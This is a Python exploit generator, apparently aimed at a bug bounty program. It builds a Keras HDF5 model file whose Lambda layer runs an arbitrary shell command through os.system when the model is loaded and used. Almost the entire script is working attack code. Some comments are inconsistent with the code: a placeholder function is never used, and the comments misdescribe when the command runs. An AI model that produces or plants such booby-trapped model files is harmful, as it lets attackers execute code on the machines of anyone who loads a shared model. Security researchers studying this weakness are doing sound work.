import os
import argparse
import tensorflow as tf
from tensorflow import keras

# This is the function we will inject into the model
# It runs immediately when the layer is built/deserialized
def malicious_code(x):
    import os
    # We use a placeholder here, but the generator will inject the real command
    # into the bytecode before saving.
    return x

def generate_exploit(output_file, command):
    print(f"[+] Generating Keras Exploit targeting: {output_file}")
    print(f"[+] Injecting Payload: {command}")

    # 1. Define the Malicious Lambda
    # We create a lambda function that executes the command and returns the input
    # This keeps the model valid so it doesn't crash immediately.
    func = lambda x: (os.system(command), x)[1]
    
    # 2. Build the Model
    # We use a simple Sequential model with one layer: Our Malicious Lambda
    model = keras.Sequential()
    
    # input_shape=(1,) makes it a valid model structure
    model.add(keras.layers.Lambda(func, input_shape=(1,)))
    
    # 3. Compile (Required to save)
    model.compile(optimizer='adam', loss='mse')
    
    # 4. Save the Payload
    # We save as '.h5' (HDF5). This is the "Legacy" format where this vulnerability 
    # is most reliable. The Huntr program explicitly lists .h5/HDF5 as a target.
    model.save(output_file, save_format='h5')
    
    print(f"[+] Malicious HDF5 Model Saved to: {output_file}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Keras HDF5 Lambda Injector")
    parser.add_argument("--cmd", type=str, required=True, help="Command to execute")
    parser.add_argument("--out", type=str, default="malicious_model.h5", help="Output filename")
    
    args = parser.parse_args()
    
    generate_exploit(args.out, args.cmd)